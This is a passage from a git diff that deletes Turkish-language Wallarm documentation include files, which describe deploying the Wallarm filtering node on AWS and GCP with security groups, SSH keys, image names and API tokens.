oluşturabilirsiniz. Aynı şekilde işlenmesi gereken her etki alanı grubu için `server` bloğu bulunan ayrı bir yapılandırma dosyası oluşturmanız önerilir (örn. `example.com.conf`). NGINX yapılandırma dosyalarıyla çalışma hakkında ayrıntılı bilgi için [resmi NGINX dokümantasyonuna](https://nginx.org/en/docs/beginners_guide.html) bakın. - -!!! info "Yapılandırma dosyası oluşturma" - Özel bir yapılandırma dosyası oluştururken, NGINX’in gelen bağlantıları kullanılmayan bir portta dinlediğinden emin olun. - -Aşağıda, gerekirse uygulayabileceğiniz tipik ayarlardan bazıları bulunmaktadır: - -* [Wallarm düğümü için otomatik ölçeklendirme][autoscaling-docs] -* [İstemcinin gerçek IP’sinin görüntülenmesi][real-ip-docs] -* [Wallarm düğümleri için kaynak tahsisi][allocate-memory-docs] -* [Tek bir isteğin işlenme süresini sınırlandırma][limiting-request-processing] -* [Sunucu yanıtı bekleme süresini sınırlandırma](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout) -* [Maksimum istek boyutunu sınırlandırma](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size) -* [Wallarm düğümünde günlükleme][logs-docs] \ No newline at end of file diff --git a/include-tr/waf/installation/cloud-platforms/fine-tuning-options.md b/include-tr/waf/installation/cloud-platforms/fine-tuning-options.md deleted file mode 100644 index 58b63bacb7..0000000000 --- a/include-tr/waf/installation/cloud-platforms/fine-tuning-options.md +++ /dev/null @@ -1,23 +0,0 @@ -Dağıtım şimdi tamamlandı. Filtreleme düğümü, dağıtımdan sonra bazı ek yapılandırmalar gerektirebilir. - -Wallarm ayarları [NGINX yönergeleri][wallarm-nginx-directives] veya Wallarm Console UI kullanılarak tanımlanır. Yönergeler, Wallarm örneğinde aşağıdaki dosyalarda ayarlanmalıdır: - -* `/etc/nginx/sites-enabled/default` NGINX yapılandırmasını tanımlar -* `/etc/nginx/conf.d/wallarm.conf` Wallarm filtreleme düğümünün genel yapılandırmasını tanımlar -* `/etc/nginx/conf.d/wallarm-status.conf` filtreleme düğümü izleme hizmeti yapılandırmasını tanımlar -* `/opt/wallarm/wstore/wstore.yaml` postanalytics hizmeti (wstore) ayarlarını içerir - -Listelenen dosyaları değiştirebilir veya NGINX ve Wallarm’ın çalışma şeklini tanımlamak için kendi yapılandırma dosyalarınızı oluşturabilirsiniz. Aynı şekilde işlenmesi gereken her bir etki alanı grubu için `server` bloğu içeren ayrı bir yapılandırma dosyası oluşturmanız önerilir (ör. `example.com.conf`). NGINX yapılandırma dosyalarıyla çalışma hakkında ayrıntılı bilgi için [resmi NGINX belgelerine](https://nginx.org/en/docs/beginners_guide.html) bakın. - -!!! info "Yapılandırma dosyası oluşturma" - Özel bir yapılandırma dosyası oluştururken, NGINX’in gelen bağlantıları kullanılmayan bir porttan dinlediğinden emin olun. - -Aşağıda, gerektiğinde uygulayabileceğiniz bazı tipik ayarlar bulunmaktadır: - -* [Wallarm düğümünün otomatik ölçeklendirilmesi][autoscaling-docs] -* [İstemcinin gerçek IP adresinin gösterilmesi][real-ip-docs] -* [Wallarm düğümleri için kaynakların ayrılması][allocate-memory-docs] -* [Tek bir isteğin işlenme süresinin sınırlandırılması][limiting-request-processing] -* [Sunucu yanıtı için bekleme süresinin sınırlandırılması](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout) -* [Maksimum istek boyutunun sınırlandırılması](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size) -* [Wallarm düğümü günlük kaydı][logs-docs] \ No newline at end of file diff --git a/include-tr/waf/installation/cloud-platforms/gcp-machine-image-use-cases.md b/include-tr/waf/installation/cloud-platforms/gcp-machine-image-use-cases.md deleted file mode 100644 index 4c73e1a210..0000000000 --- a/include-tr/waf/installation/cloud-platforms/gcp-machine-image-use-cases.md +++ /dev/null @@ -1,4 +0,0 @@ -Desteklenen tüm [Wallarm dağıtım seçenekleri][deployment-platform-docs] arasında, şu **kullanım durumları** için Wallarm dağıtımı adına GCP Machine Image önerilir: - -* Mevcut altyapınız GCP üzerinde yer alıyor. -* NGINX gibi ön uç sistemlere doğrudan kurmak yerine, güvenlik çözümünü ayrı bir bulut örneği olarak devreye almak istiyorsunuz. \ No newline at end of file diff --git a/include-tr/waf/installation/cloud-platforms/google-gce-use-cases.md b/include-tr/waf/installation/cloud-platforms/google-gce-use-cases.md deleted file mode 100644 index f979099d64..0000000000 --- a/include-tr/waf/installation/cloud-platforms/google-gce-use-cases.md +++ /dev/null @@ -1,4 +0,0 @@ -Desteklenen tüm [Wallarm dağıtım seçenekleri][platform] arasında, Docker imajı kullanılarak Google Compute Engine (GCE) üzerinde Wallarm dağıtımı şu **kullanım durumlarında** önerilir: - -* Uygulamalarınız mikroservis mimarisinden yararlanıyorsa ve halihazırda konteynerleştirilmiş ve GCE üzerinde çalışır durumdaysa. -* Her bir konteyner üzerinde granüler kontrol gerekiyorsa, Docker imajı öne çıkar. Geleneksel VM tabanlı dağıtımlarda tipik olarak mümkün olandan daha yüksek düzeyde kaynak izolasyonu sağlar. \ No newline at end of file diff --git a/include-tr/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-ami-latest.md b/include-tr/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-ami-latest.md deleted file mode 100644 index 993326d765..0000000000 --- a/include-tr/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-ami-latest.md +++ /dev/null @@ -1,67 +0,0 @@ -## Gereksinimler - -* Bir AWS hesabı -* AWS EC2 ve Security Group'lar hakkında bilgi -* İstediğiniz herhangi bir AWS bölgesi; Wallarm Node dağıtımı için bölgeye özel bir kısıtlama yoktur. - - Wallarm, tek erişilebilirlik bölgesi (AZ) ve çoklu erişilebilirlik bölgesi dağıtımlarını destekler. Çoklu-AZ kurulumlarında, Wallarm Node'ları ayrı erişilebilirlik bölgelerinde başlatılabilir ve yüksek erişilebilirlik için bir Load Balancer arkasına yerleştirilebilir. -* [US Cloud](https://us1.my.wallarm.com/) veya [EU Cloud](https://my.wallarm.com/) için Wallarm Console'da **Administrator** rolüne sahip hesaba erişim -* Tüm komutların bir Wallarm instance'ında süper kullanıcı (ör. `root`) olarak çalıştırılması - -## Kurulum - -### 1. Bir Wallarm Node instance'ı başlatın - -[Wallarm NGINX Node AMI](https://aws.amazon.com/marketplace/pp/prodview-5rl4dgi4wvbfe) kullanarak bir EC2 instance'ı başlatın. - -Önerilen yapılandırma: - -* Mevcut en güncel [AMI sürümü][latest-node-version] -* Tercih ettiğiniz herhangi bir AWS bölgesi -* EC2 instance türü: `t3.medium` (test için) veya `m4.xlarge` (prod için), ayrıntılar için [maliyet rehberine bakın][aws-costs] -* Instance'a erişim için [SSH anahtar çifti](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/create-key-pairs.html) -* Altyapınıza bağlı olarak uygun [VPC ve alt ağ](https://docs.aws.amazon.com/vpc/latest/userguide/what-is-amazon-vpc.html) -* [Security Group](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/creating-security-group.html) üzerinden 22, 80 ve 443 numaralı portlara inbound erişim - - !!! info "Wallarm tarafından önceden yapılandırılmış bir Security Group kullanma" - Instance'ı dağıtıp bir Security Group oluşturduğunuzda, AWS size Wallarm tarafından önceden yapılandırılmış olanı kullanmayı önerir. Bu grup, inbound erişim için gerekli tüm portları zaten açık durumda sağlar. - - ![!Önceden yapılandırılmış Security Group][img-security-group] - -* [Security Group](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/creating-security-group.html) üzerinden aşağıdakilere outbound erişim: - - * Wallarm yükleyicisini indirmek için `https://meganode.wallarm.com` - * US Wallarm Cloud ile çalışmak için `https://us1.api.wallarm.com` veya EU Wallarm Cloud ile çalışmak için `https://api.wallarm.com`. Erişim yalnızca proxy sunucusu üzerinden yapılandırılabiliyorsa, [talimatları][wallarm-api-via-proxy] kullanın - * Saldırı tespit kurallarına ve [API spesifikasyonlarına][api-spec-enforcement-docs] yönelik güncellemeleri indirmek ve [izinli, yasaklı veya gri listede olan][ip-lists-docs] ülkeleriniz, bölgeleriniz veya veri merkezleriniz için kesin IP'leri almak amacıyla aşağıdaki IP adresleri - - --8<-- "../include/wallarm-cloud-ips.md" - -### 2. SSH ile Wallarm Node instance'ına bağlanın - -Çalışan EC2 instance’ınıza bağlanmak için [seçtiğiniz SSH anahtarını kullanın](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/connect-to-linux-instance.html): - -```bash -ssh -i admin@ -``` - -Instance'a bağlanmak için `admin` kullanıcı adını kullanmanız gerekir. - -### 3. Bir instance'ı Wallarm Cloud'a bağlamak için bir token oluşturun - -Wallarm node’unun Wallarm Cloud'a uygun türde bir [Wallarm token][wallarm-token-types] ile bağlanması gerekir. Bir API token, Wallarm Console UI içinde bir node grubu oluşturmanıza olanak tanır; bu, node instance’larınızı daha etkili şekilde organize etmenize yardımcı olur. - -![Gruplandırılmış node'lar][img-grouped-nodes] - -Token’ı şu şekilde oluşturun: - -=== "API belirteci" - - 1. Wallarm Console → **Settings** → **API tokens** bölümünü [US Cloud](https://us1.my.wallarm.com/settings/api-tokens) veya [EU Cloud](https://my.wallarm.com/settings/api-tokens) içinde açın. - 1. Kullanım türü `Node deployment/Deployment` olan bir API token'ı bulun veya oluşturun. - 1. Bu token'ı kopyalayın. -=== "Node token'ı" - - 1. Wallarm Console → **Nodes** bölümünü [US Cloud](https://us1.my.wallarm.com/nodes) veya [EU Cloud](https://my.wallarm.com/nodes) içinde açın. - 1. Şunlardan birini yapın: - * **Wallarm node** türünde bir node oluşturun ve üretilen token'ı kopyalayın. - * Mevcut node grubunu kullanın - node'un menüsünü kullanarak → **Copy token** ile token'ı kopyalayın. \ No newline at end of file diff --git a/include-tr/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-ami.md b/include-tr/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-ami.md deleted file mode 100644 index a092109b95..0000000000 --- a/include-tr/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-ami.md +++ /dev/null @@ -1,86 +0,0 @@ -## Gereksinimler - -* Bir AWS hesabı -* AWS EC2 ve Security Groups hakkında bilgi sahibi olmak -* Wallarm düğümünün dağıtımı için bölge üzerinde özel bir kısıtlama olmadığından, seçtiğiniz herhangi bir AWS bölgesi - - Wallarm, tekli kullanılabilirlik alanı (AZ) ve çoklu kullanılabilirlik alanı dağıtımlarını destekler. Çoklu AZ kurulumlarında, Wallarm Düğümleri ayrı kullanılabilirlik alanlarında başlatılabilir ve yüksek erişilebilirlik için bir Load Balancer arkasına yerleştirilebilir. -* [US Cloud](https://us1.my.wallarm.com/) veya [EU Cloud](https://my.wallarm.com/) için Wallarm Console’da **Administrator** rolüne sahip hesaba erişim -* US Wallarm Cloud ile çalışmak için `https://us1.api.wallarm.com:444` veya EU Wallarm Cloud ile çalışmak için `https://api.wallarm.com:444` adreslerine erişim. Erişim yalnızca proxy sunucusu üzerinden yapılandırılabiliyorsa, [talimatları][wallarm-api-via-proxy] kullanın -* Tüm komutların bir Wallarm örneğinde süper kullanıcı (örn. `root`) olarak yürütülmesi - -## 1. AWS'te bir SSH anahtar çifti oluşturun - -Dağıtım süreci sırasında, sanal makineye SSH üzerinden bağlanmanız gerekecektir. Amazon EC2, örneğe bağlanmak için kullanılabilecek adlandırılmış bir genel ve özel SSH anahtar çifti oluşturulmasına izin verir. - -Bir anahtar çifti oluşturmak için: - -1. Amazon EC2 panosunda **Key pairs** sekmesine gidin. -2. **Create Key Pair** düğmesine tıklayın. -3. Bir anahtar çifti adı girin ve **Create** düğmesine tıklayın. - -PEM biçiminde özel bir SSH anahtarı otomatik olarak indirilmeye başlayacaktır. Daha sonra oluşturulan örneğe bağlanmak için anahtarı saklayın. - -SSH anahtarlarının oluşturulmasına ilişkin ayrıntılı bilgi için [AWS belgelerine][link-ssh-keys] bakın. - -## 2. Bir Security Group oluşturun - -Bir Security Group, sanal makineler için izin verilen ve yasaklanan gelen ve giden bağlantıları tanımlar. Nihai bağlantı listesi, korunan uygulamaya bağlıdır (ör. TCP/80 ve TCP/443 portlarına gelen tüm bağlantıların izin verilmesi). - -Wallarm AMI, en az izin kümesi ile çalışacak şekilde tasarlanmıştır. Örneği dağıtırken, bir IAM rolü atamanızı ve güvenlik gruplarını en az ayrıcalık ilkesine göre yapılandırmanızı, düğümün AWS güvenlik en iyi uygulamalarıyla uyumlu çalışması için gereken erişimleri vermenizi öneririz. - -Filtreleme düğümü için bir security group oluşturmak üzere: - -1. Amazon EC2 panosunda **Security Groups** sekmesine gidin ve **Create Security Group** düğmesine tıklayın. -2. Açılan iletişim penceresine bir security group adı ve isteğe bağlı bir açıklama girin. -3. Gerekli VPC’yi seçin. -4. **Inbound** ve **Outbound** sekmelerinde gelen ve giden bağlantı kurallarını yapılandırın. -5. Security group oluşturmak için **Create** düğmesine tıklayın. - -![Bir security group oluşturma][img-create-sg] - -!!! warning "Security group'tan giden bağlantılar için kurallar" - Bir security group oluştururken, tüm giden bağlantılar varsayılan olarak izinlidir. Filtreleme düğümünden giden bağlantıları kısıtlarsanız, bir Wallarm API sunucusuna erişim verildiğinden emin olun. Kullanmakta olduğunuz Wallarm Cloud’a bağlı olarak Wallarm API sunucusu seçimi değişir: - - * US Cloud kullanıyorsanız, düğümünüzün `us1.api.wallarm.com` adresine erişiminin olması gerekir. - * EU Cloud kullanıyorsanız, düğümünüzün `api.wallarm.com` adresine erişiminin olması gerekir. - - Filtreleme düğümü, doğru çalışması için bir Wallarm API sunucusuna erişime ihtiyaç duyar. - -Security group oluşturma hakkında ayrıntılı bilgi için [AWS belgelerine][link-sg] bakın. - -## 3. Bir Wallarm düğüm örneği başlatın - -Wallarm filtreleme düğümü ile bir örnek başlatmak için bu [bağlantıya](https://aws.amazon.com/marketplace/pp/B073VRFXSD) gidin ve filtreleme düğümüne abone olun. - -Örnek oluştururken, [önceden oluşturulan][anchor1] security group’u aşağıdaki şekilde belirtmeniz gerekir: - -1. Launch Instance Wizard ile çalışırken, ilgili sekmeye tıklayarak **6. Configure Security Group** adımına ilerleyin. -2. **Assign a security group** ayarında **Select an existing security group** seçeneğini seçin. -3. Açılan listeden security group’u seçin. - -Gerekli tüm örnek ayarlarını belirledikten sonra **Review and Launch** düğmesine tıklayın, örneğin doğru yapılandırıldığından emin olun ve **Launch** düğmesine tıklayın. - -Açılan pencerede, [önceden oluşturulan][anchor2] anahtar çiftini aşağıdaki işlemleri gerçekleştirerek belirtin: - -1. İlk açılır listede **Choose an existing key pair** seçeneğini seçin. -2. İkinci açılır listeden anahtar çiftinin adını seçin. -3. İkinci açılır listede belirttiğiniz anahtar çiftinden PEM biçimindeki özel anahtara erişiminiz olduğundan emin olun ve bunu onaylamak için onay kutusunu işaretleyin. -4. **Launch Instances** düğmesine tıklayın. - -Örnek, önceden yüklenmiş filtreleme düğümü ile başlatılacaktır. - -AWS’de örnek başlatma hakkında ayrıntılı bilgi için [AWS belgelerine][link-launch-instance] bakın. - -## 4. Filtreleme düğümü örneğine SSH ile bağlanın - -Bir örneğe SSH üzerinden bağlanma yöntemleri hakkında ayrıntılı bilgi için [AWS belgelerine](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/AccessingInstances.html) bakın. - -Örneğe bağlanmak için `admin` kullanıcı adını kullanmanız gerekir. - -!!! info "SSH ile bağlanmak için anahtarın kullanılması" - Örneğe SSH ile bağlanmak için, [daha önce oluşturduğunuz][anchor2] PEM biçimindeki özel anahtarı kullanın. Bu, bir örnek oluştururken belirttiğiniz SSH anahtar çiftine ait özel anahtar olmalıdır. - -## 5. Filtreleme düğümünü Wallarm Cloud'a bağlayın - ---8<-- "../include/waf/installation/connect-waf-and-cloud-4.6-only-with-postanalytics.md" \ No newline at end of file diff --git a/include-tr/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-gcp-image-4.10.md b/include-tr/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-gcp-image-4.10.md deleted file mode 100644 index a90682bf91..0000000000 --- a/include-tr/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-gcp-image-4.10.md +++ /dev/null @@ -1,90 +0,0 @@ -## Gereksinimler - -* Bir GCP hesabı -* [US Cloud](https://us1.my.wallarm.com/) veya [EU Cloud](https://my.wallarm.com/) için Wallarm Console’da **Administrator** rolüne sahip hesaba erişim -* US Wallarm Cloud ile çalışmak için `https://us1.api.wallarm.com:444` adresine veya EU Wallarm Cloud ile çalışmak için `https://api.wallarm.com:444` adresine erişim. Erişim yalnızca proxy sunucusu üzerinden yapılandırılabiliyorsa, [talimatları][wallarm-api-via-proxy] kullanın -* Saldırı tespiti kuralları ve [API spesifikasyonları][api-spec-enforcement-docs] güncellemelerini indirmek, ayrıca [allowlisted, denylisted veya graylisted][ip-lists-docs] ülkeleriniz, bölgeleriniz veya veri merkezleriniz için kesin IP’leri almak amacıyla aşağıdaki IP adreslerine erişim - - --8<-- "../include/wallarm-cloud-ips.md" -* Tüm komutların bir Wallarm örneğinde süper kullanıcı (ör. `root`) olarak yürütülmesi - -## 1. Bir filtreleme düğümü örneği başlatın - -### Örneği Google Cloud UI üzerinden başlatın - -Filtreleme düğümü örneğini Google Cloud UI üzerinden başlatmak için lütfen [Google Cloud Marketplace’teki Wallarm node imajını](https://console.cloud.google.com/launcher/details/wallarm-node-195710/wallarm-node) açın ve **GET STARTED**’a tıklayın. - -Örnek, önceden kurulu bir filtreleme düğümü ile başlatılacaktır. Google Cloud’da örnek başlatma hakkında ayrıntılı bilgi için lütfen [resmi Google Cloud Platform belgelerine][link-launch-instance] göz atın. - -### Örneği Terraform veya diğer araçlar üzerinden başlatın - -Terraform gibi bir aracı kullanarak Wallarm GCP imajı ile filtreleme düğümü örneğini başlatırken, Terraform yapılandırmasında bu imajın adını belirtmeniz gerekebilir. - -* İmaj adı aşağıdaki formata sahiptir: - - ```bash - wallarm-node-195710/wallarm-node--build - ``` -* Filtreleme düğümü 4.10 sürümü ile örneği başlatmak için lütfen aşağıdaki imaj adını kullanın: - - ```bash - wallarm-node-195710/wallarm-node-4-10-20240220-234618 - ``` - -İmaj adını almak için şu adımları da izleyebilirsiniz: - -1. [Google Cloud SDK’yı](https://cloud.google.com/sdk/docs/install) kurun. -2. Aşağıdaki parametrelerle [`gcloud compute images list`](https://cloud.google.com/sdk/gcloud/reference/compute/images/list) komutunu çalıştırın: - - ```bash - gcloud compute images list --project wallarm-node-195710 --filter="name~'wallarm-node-4-10-*'" --no-standard-images - ``` -3. En son kullanılabilir imajın adından sürüm değerini kopyalayın ve kopyaladığınız değeri sağlanan imaj adı formatına yerleştirin. Örneğin, filtreleme düğümü 4.10 sürümü imajı şu ada sahip olacaktır: - - ```bash - wallarm-node-195710/wallarm-node-4-10-20240220-234618 - ``` - -## 2. Filtreleme düğümü örneğini yapılandırın - -Başlatılan filtreleme düğümü örneğini yapılandırmak için aşağıdaki işlemleri gerçekleştirin: - -1. Menüde **Compute Engine** bölümündeki **VM instances** sayfasına gidin. -2. Başlatılan filtreleme düğümü örneğini seçin ve **Edit** düğmesine tıklayın. -3. **Firewalls** ayarındaki ilgili onay kutularını işaretleyerek gerekli gelen trafik türlerine izin verin. -4. Gerekirse, projedeki SSH anahtarlarıyla örneğe bağlantıyı kısıtlayabilir ve bu örneğe bağlanmak için özel bir SSH anahtar çifti kullanabilirsiniz. Bunu yapmak için aşağıdaki adımları uygulayın: - 1. **SSH Keys** ayarında **Block project-wide** onay kutusunu işaretleyin. - 2. Bir SSH anahtarı girme alanını genişletmek için **SSH Keys** ayarındaki **Show and edit** düğmesine tıklayın. - 3. Bir genel ve bir özel SSH anahtarı çifti oluşturun. Örneğin, `ssh-keygen` ve `PuTTYgen` yardımcı programlarını kullanabilirsiniz. - - ![PuTTYgen kullanarak SSH anahtarları oluşturma][img-ssh-key-generation] - - 4. Kullandığınız anahtar oluşturucunun arayüzünden OpenSSH formatında bir açık anahtarı kopyalayın (bu örnekte, oluşturulan genel anahtar PuTTYgen arayüzündeki **Public key for pasting into OpenSSH authorized_keys file** alanından kopyalanmalıdır) ve **Enter entire key data** ipucunu içeren alana yapıştırın. - 5. Özel anahtarı kaydedin. Gelecekte yapılandırılmış örneğe bağlanmak için gerekecektir. -5. Değişiklikleri uygulamak için sayfanın altındaki **Save** düğmesine tıklayın. - -## 3. Filtreleme düğümü örneğine SSH ile bağlanın - -Örneklere bağlanma yöntemleri hakkında ayrıntılı bilgi için şu [bağlantıya](https://cloud.google.com/compute/docs/instances/connecting-to-instance) gidin. - ---8<-- "../include/gcp-autoscaling-connect-ssh.md" - -## 4. Örneği Wallarm Cloud’a bağlamak için bir token oluşturun - -Yerel Wallarm filtreleme düğümünün, [uygun türde][wallarm-token-types] bir Wallarm token’ı kullanarak Wallarm Cloud ile bağlantı kurması gerekir. Bir API token’ı, Wallarm Console UI içinde bir node grubu oluşturmanıza olanak tanır; bu da node örneklerinizi etkin şekilde organize etmenize yardımcı olur. - -![Gruplandırılmış düğümler][img-grouped-nodes] - -Token’ı aşağıdaki şekilde oluşturun: - -=== "API token" - - 1. Wallarm Console → **Settings** → **API tokens**’ı [US Cloud](https://us1.my.wallarm.com/settings/api-tokens) veya [EU Cloud](https://my.wallarm.com/settings/api-tokens) içinde açın. - 1. `Node deployment/Deployment` kullanım türüne sahip bir API token’ı bulun veya oluşturun. - 1. Bu token’ı kopyalayın. -=== "Node token" - - 1. Wallarm Console → **Nodes**’u [US Cloud](https://us1.my.wallarm.com/nodes) veya [EU Cloud](https://my.wallarm.com/nodes) içinde açın. - 1. Şunlardan birini yapın: - * **Wallarm node** türünde bir node oluşturun ve üretilen token’ı kopyalayın. - * Mevcut node grubunu kullanın - token’ı node’un menüsünden → **Copy token** ile kopyalayın. \ No newline at end of file diff --git a/include-tr/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-gcp-image-4.6.md b/include-tr/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-gcp-image-4.6.md deleted file mode 100644 index 4ba1a967b4..0000000000 --- a/include-tr/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-gcp-image-4.6.md +++ /dev/null @@ -1,71 +0,0 @@ -## Gereksinimler - -* Bir GCP hesabı -* [US Cloud](https://us1.my.wallarm.com/) veya [EU Cloud](https://my.wallarm.com/) için Wallarm Console’da **Administrator** rolüne sahip hesaba erişim -* US Wallarm Cloud ile çalışmak için `https://us1.api.wallarm.com:444` adresine veya EU Wallarm Cloud ile çalışmak için `https://api.wallarm.com:444` adresine erişim. Erişim yalnızca proxy sunucusu üzerinden yapılandırılabiliyorsa, lütfen [talimatlar][wallarm-api-via-proxy]ı kullanın -* Tüm komutların Wallarm örneğinde süper kullanıcı olarak (örn. `root`) yürütülmesi - -## 1. Bir filtreleme düğümü örneği başlatın - -### Örneği Google Cloud UI üzerinden başlatın - -Filtreleme düğümü örneğini Google Cloud UI üzerinden başlatmak için lütfen [Google Cloud Marketplace'teki Wallarm node imajını](https://console.cloud.google.com/launcher/details/wallarm-node-195710/wallarm-node) açın ve **GET STARTED**’a tıklayın. - -Örnek, önceden kurulu bir filtreleme düğümü ile başlatılacaktır. Google Cloud’da örnek başlatma hakkında ayrıntılı bilgi için lütfen [resmi Google Cloud Platform belgeleri][link-launch-instance]ne bakın. - -### Örneği Terraform veya diğer araçlar ile başlatın - -Wallarm GCP imajını kullanarak bir araç (ör. Terraform) ile filtreleme düğümü örneği başlatırken, Terraform yapılandırmasında bu imajın adını belirtmeniz gerekebilir. - -* İmaj adı aşağıdaki formata sahiptir: - - ```bash - wallarm-node-195710/wallarm-node--build - ``` -* Filtreleme düğümünün 4.6 sürümü ile örnek başlatmak için lütfen aşağıdaki imaj adını kullanın: - - ```bash - wallarm-node-195710/wallarm-node-4-6-20230630-122224 - ``` - -İmaj adını almak için şu adımları da izleyebilirsiniz: - -1. [Google Cloud SDK](https://cloud.google.com/sdk/docs/install)’yı kurun. -2. Aşağıdaki parametrelerle [`gcloud compute images list`](https://cloud.google.com/sdk/gcloud/reference/compute/images/list) komutunu çalıştırın: - - ```bash - gcloud compute images list --project wallarm-node-195710 --filter="name~'wallarm-node-4-6-*'" --no-standard-images - ``` -3. Mevcut en son imajın adından sürüm değerini kopyalayın ve kopyalanan değeri sağlanan imaj adı formatına yapıştırın. Örneğin, filtreleme düğümü 4.6 sürüm imajının adı aşağıdaki gibi olacaktır: - - ```bash - wallarm-node-195710/wallarm-node-4-6-20230630-122224 - ``` - -## 2. Filtreleme düğümü örneğini yapılandırın - -Başlatılan filtreleme düğümü örneğini yapılandırmak için aşağıdaki işlemleri gerçekleştirin: - -1. Menünün **Compute Engine** bölümündeki **VM instances** sayfasına gidin. -2. Başlatılan filtreleme düğümü örneğini seçin ve **Edit** düğmesine tıklayın. -3. **Firewalls** ayarındaki ilgili onay kutularını işaretleyerek gerekli türde gelen trafiğe izin verin. -4. Gerekirse, projeye ait SSH anahtarları ile bu örneğe bağlantıyı kısıtlayabilir ve bu örneğe bağlanmak için özel bir SSH anahtar çifti kullanabilirsiniz. Bunu yapmak için aşağıdaki adımları uygulayın: - 1. **SSH Keys** ayarında **Block project-wide** onay kutusunu işaretleyin. - 2. Bir SSH anahtarı girmek için alanı genişletmek üzere **SSH Keys** ayarındaki **Show and edit** düğmesine tıklayın. - 3. Genel ve özel SSH anahtarlarından oluşan bir çift oluşturun. Örneğin, `ssh-keygen` ve `PuTTYgen` yardımcı programlarını kullanabilirsiniz. - - ![PuTTYgen kullanarak SSH anahtarları oluşturma][img-ssh-key-generation] - - 4. Kullanılan anahtar üreticisinin arayüzünden OpenSSH formatında bir açık anahtarı kopyalayın (mevcut örnekte, üretilen genel anahtar PuTTYgen arayüzündeki **Public key for pasting into OpenSSH authorized_keys file** alanından kopyalanmalıdır) ve **Enter entire key data** ipucunu içeren alana yapıştırın. - 5. Özel anahtarı kaydedin. İleride yapılandırılmış örneğe bağlanmak için gerekli olacaktır. -5. Değişiklikleri uygulamak için sayfanın altındaki **Save** düğmesine tıklayın. - -## 3. Filtreleme düğümü örneğine SSH üzerinden bağlanın - -Örneklere bağlanma yöntemleri hakkında ayrıntılı bilgi için bu [bağlantıya](https://cloud.google.com/compute/docs/instances/connecting-to-instance) gidin. - ---8<-- "../include/gcp-autoscaling-connect-ssh.md" - -## 4. Filtreleme düğümünü Wallarm Cloud'a bağlayın - ---8<-- "../include/waf/installation/connect-waf-and-cloud-4.6-only-with-postanalytics.md" \ No newline at end of file diff --git a/include-tr/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-gcp-image-4.8.md b/include-tr/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-gcp-image-4.8.md deleted file mode 100644 index 9b2adb5922..0000000000 --- a/include-tr/waf/installation/cloud-platforms/reqs-and-steps-to-deploy-gcp-image-4.8.md +++ /dev/null @@ -1,71 +0,0 @@ -## Gereksinimler - -* Bir GCP hesabı -* [ABD Bulutu](https://us1.my.wallarm.com/) veya [AB Bulutu](https://my.wallarm.com/) için Wallarm Console’da **Administrator** rolüne sahip hesaba erişim -* US Wallarm Cloud ile çalışmak için `https://us1.api.wallarm.com:444` adresine veya EU Wallarm Cloud ile çalışmak için `https://api.wallarm.com:444` adresine erişim. Erişim yalnızca proxy sunucusu üzerinden yapılandırılabiliyorsa, [talimatları][wallarm-api-via-proxy] kullanın -* Tüm komutların bir Wallarm örneğinde süper kullanıcı (örn. `root`) olarak yürütülmesi - -## 1. Bir filtreleme düğümü örneği başlatın - -### Örneği Google Cloud UI üzerinden başlatın - -Filtreleme düğümü örneğini Google Cloud UI üzerinden başlatmak için lütfen [Google Cloud Marketplace üzerindeki Wallarm node imajını](https://console.cloud.google.com/launcher/details/wallarm-node-195710/wallarm-node) açın ve **GET STARTED**’a tıklayın. - -Örnek, önceden kurulu bir filtreleme düğümü ile başlatılacaktır. Google Cloud’da örnek başlatma hakkında ayrıntılı bilgi için lütfen [resmi Google Cloud Platform dokümantasyonuna][link-launch-instance] bakın. - -### Örneği Terraform veya diğer araçlarla başlatın - -Terraform gibi bir araç kullanarak Wallarm GCP imajını kullanıp filtreleme düğümü örneği başlatırken, bu imajın adını Terraform yapılandırmasında belirtmeniz gerekebilir. - -* İmaj adı aşağıdaki biçimdedir: - - ```bash - wallarm-node-195710/wallarm-node--build - ``` -* Filtreleme düğümünün 4.8 sürümüyle örnek başlatmak için lütfen aşağıdaki imaj adını kullanın: - - ```bash - wallarm-node-195710/wallarm-node-4-8-20231019-221905 - ``` - -İmaj adını almak için şu adımları da izleyebilirsiniz: - -1. [Google Cloud SDK’yı](https://cloud.google.com/sdk/docs/install) kurun. -2. [`gcloud compute images list`](https://cloud.google.com/sdk/gcloud/reference/compute/images/list) komutunu aşağıdaki parametrelerle çalıştırın: - - ```bash - gcloud compute images list --project wallarm-node-195710 --filter="name~'wallarm-node-4-8-*'" --no-standard-images - ``` -3. En son kullanılabilir imajın adından sürüm değerini kopyalayın ve kopyalanan değeri sağlanan imaj adı biçimine yapıştırın. Örneğin, 4.8 sürümündeki filtreleme düğümü imajının adı aşağıdaki gibi olacaktır: - - ```bash - wallarm-node-195710/wallarm-node-4-8-20231019-221905 - ``` - -## 2. Filtreleme düğümü örneğini yapılandırın - -Başlatılan filtreleme düğümü örneğini yapılandırmak için aşağıdaki işlemleri gerçekleştirin: - -1. Menüdeki **Compute Engine** bölümünde **VM instances** sayfasına gidin. -2. Başlatılan filtreleme düğümü örneğini seçin ve **Edit** düğmesine tıklayın. -3. **Firewalls** ayarında ilgili onay kutularını işaretleyerek gerekli gelen trafik türlerine izin verin. -4. Gerekirse, örneğe proje SSH anahtarlarıyla bağlantıyı kısıtlayabilir ve bu örneğe bağlanmak için özel bir SSH anahtar çifti kullanabilirsiniz. Bunu 